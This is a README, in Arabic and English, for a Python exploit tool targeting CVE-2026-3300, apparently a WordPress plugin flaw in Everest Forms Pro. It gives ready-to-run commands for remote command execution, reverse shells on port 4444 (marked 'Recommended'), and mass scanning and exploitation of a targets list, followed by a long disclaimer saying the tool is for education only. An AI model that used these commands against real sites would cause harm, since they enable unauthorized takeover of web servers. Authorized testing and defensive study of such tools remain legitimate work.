CVE-2026-3300 - Wordpress

⚡ استخدام بسيط

استخدم هذا المشروع فقط في بيئات آمنة ومصرح بها مثل:

• الأجهزة الافتراضية المحلية
• حاويات Docker
• إعدادات المختبرات المعزولة
• بيئات اختبار الاختراق المصرح بها

مثال على الإعداد:

git clone <repository-url>
cd <repository-name>

# Project use python follow below

# Create a virtual environment
python -m venv venv

# Activate the virtual environment

# macOS / Linux
source venv/bin/activate

# Windows (Git Bash / WSL)
source venv/Scripts/activate

مثال على الاستخدام:

# Normal command execution
python cve-2026-3300.py http://localhost --mode poc -c "whoami"

# Try different payload types
python cve-2026-3300.py http://localhost --mode poc -p passthru -c "id"

# Reverse Shell (Recommended)
python cve-2026-3300.py http://localhost --mode reverse --listen 4444

# Scan all targets
python cve-2026-3300.py --file targets.txt --mode scan

# Exploit all targets
python cve-2026-3300.py --file targets.txt --mode exploit -c "whoami"

# Reverse shell (single target)
python cve-2026-3300.py --file targets.txt --mode reverse -l 4444

# Test with common field names
python cve-2026-3300.py http://target.com --mode exploit --field text_1 -c "whoami"
python cve-2026-3300.py http://target.com --mode exploit --field email -c "id"

# Reverse shell
python cve-2026-3300.py http://target.com --mode reverse --field text_field -l 4444

الإسناد أو المرجع

• https://www.wordfence.com/blog/2026/06/attackers-actively-exploiting-critical-vulnerability-in-everest-forms-pro-plugin/
• https://thehackernews.com/2026/06/hackers-exploit-critical-everest-forms.html
• https://sansec.io/research/stripe-api-skimmer-infrastructure

📚 مستودع أبحاث الأمن التعليمي

مستودع لتعلّم واختبار والبحث في مفاهيم الأمن السيبراني في بيئات خاضعة للتحكم.

⚠️ إخلاء المسؤولية الأمني والقانوني

الغرض

هذا المستودع مخصص للبحث الأمني التعليمي والمصرح به فقط.

صُمم لمساعدة المستخدمين على التعرف على:

• الثغرات الأمنية
• مفاهيم العزل والبيئات المعزولة (Sandbox)
• البرمجة الآمنة والممارسات الدفاعية

الاستخدام المصرح به فقط

استخدم هذا المستودع فقط في البيئات التي لديك إذن لاستخدامها، مثل:

• المختبرات الشخصية أو الأجهزة الافتراضية
• بيئات Docker أو البيئات المعزولة
• اختبار الاختراق المصرح به
• التدريب على الأمن السيبراني أو البحث الأكاديمي

الاستخدام غير المصرح به أو غير القانوني ممنوع منعًا باتًا.

عدم تحمل المسؤولية

المؤلف والمساهمون غير مسؤولين عن أي ضرر أو إساءة استخدام أو قضايا قانونية أو خسائر ناتجة عن هذا المشروع.

باستخدامك لهذا المستودع، فأنت توافق على أن:

• أنت مسؤول عن أفعالك
• ستستخدمه بشكل قانوني وأخلاقي
• المشروع مُقدَّم بدون ضمان

الاستخدام الأخلاقي

هذا المشروع مخصص لـ:

• أبحاث الأمن الدفاعي
• التعليم في مجال الأمن السيبراني
• التوعية بالثغرات
• أبحاث الأنظمة والبرمجيات الآمنة

يرجى اتباع ممارسات الإفصاح المسؤول والامتثال لجميع القوانين المعمول بها.

الاتصال

للإفصاح المسؤول أو التعاون، تواصل مع مشرف المستودع عبر GitHub.